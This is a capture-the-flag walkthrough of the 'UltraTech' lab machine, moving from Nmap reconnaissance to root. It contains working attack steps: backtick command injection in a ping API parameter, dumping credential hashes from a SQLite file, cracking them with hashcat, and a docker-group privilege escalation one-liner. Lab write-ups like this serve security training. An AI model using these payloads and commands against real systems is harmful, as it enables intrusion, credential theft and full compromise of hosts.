Skip to main content

UltraTech

1. Reconnaissance

To maintain a clean workflow, we first set an environment variable for the target IP:

export TARGET_IP=10.10.71.122

1.1 Initial Port Scan

We perform an aggressive full port scan using Nmap to identify open ports:

nmap -p- --min-rate 5000 $TARGET_IP

Scan Results:

Not shown: 65331 closed tcp ports (reset), 200 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8081/tcp open blackice-icecap
31331/tcp open unknown

1.2 Service and Version Enumeration

We refine our scan to identify service versions:

nmap -sC -sV -p21,8081,31331 $TARGET_IP

Scan Results:

PORT      STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
8081/tcp open http Node.js Express framework
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Unix

2. Web Enumeration

Checking for robots.txt:

curl http://$TARGET_IP:31331/robots.txt
Sitemap: /utech_sitemap.txt

Fetching the sitemap:

curl http://$TARGET_IP:31331/utech_sitemap.txt
/partners.html

Inspecting partners.html reveals a reference to api.js:

view-source:http://$TARGET_IP:31331/js/api.js

2.1 Analyzing api.js

function getAPIURL() {
return `${window.location.hostname}:8081`;
}

function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`;
req.open('GET', url, true);
req.onload = function () {
if (req.readyState === 4) {
if (req.status === 200) {
console.log('The API seems to be running');
} else {
console.error(req.statusText);
}
}
};
req.onerror = function () {
console.error(req.statusText);
};
req.send(null);
} catch (e) {
console.error(e);
console.log('API Error');
}
}
checkAPIStatus();

The checkAPIStatus() function calls an API endpoint at /ping?ip=..., suggesting a potential vulnerability if unsanitized input is passed.

3. Testing for Command Injection

3.1 Normal API Response

view-source:http://$TARGET_IP:8081/ping?ip=10.10.71.122
PING 10.10.71.122 (10.10.71.122) 56(84) bytes of data.
64 bytes from 10.10.71.122: icmp_seq=1 ttl=64 time=0.031 ms

3.2 Injecting a Command

We test command execution via backticks:

view-source:http://$TARGET_IP:8081/ping?ip=`ls`
ping: utech.db.sqlite: Name or service not known

Why Do Backticks Work?

The backtick (`) syntax in Linux executes the enclosed command and substitutes its output. If the application directly appends user input into a shell command without sanitization, the backticks allow arbitrary command execution.

3.3 Extracting Database Credentials

http://$TARGET_IP:8081/ping?ip=`cat%20utech.db.sqlite`
ping: ...) r00t:f357a0c52799563c7c7b76c1e7543a32 admin:0d0ea5111e3c1def594c1684e3b9be84

4. Cracking Credentials

We extract password hashes:

r00t:f357a0c52799563c7c7b76c1e7543a32
admin:0d0ea5111e3c1def594c1684e3b9be84

Using Hashcat to identify the hash type:

hashcat --identify f357a0c52799563c7c7b76c1e7543a32
hashcat --identify 0d0ea5111e3c1def594c1684e3b9be84

Cracking with a wordlist:

hashcat -a 0 -m 0 f357a0c52799563c7c7b76c1e7543a32 /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 0 0d0ea5111e3c1def594c1684e3b9be84 /usr/share/wordlists/rockyou.txt

Decrypted credentials:

r00t:n100906
admin:mrsheafy

5. Gaining Initial Access

Using SSH to log in as r00t:

ssh r00t@$TARGET_IP

Verifying user privileges:

id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

6. Privilege Escalation via Docker

The user is part of the docker group, meaning they can run containers with root access.

https://gtfobins.github.io/gtfobins/docker/#suid

Escalating to root using a Docker container:

docker run -v /:/mnt --rm -it bash chroot /mnt sh
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Root access obtained!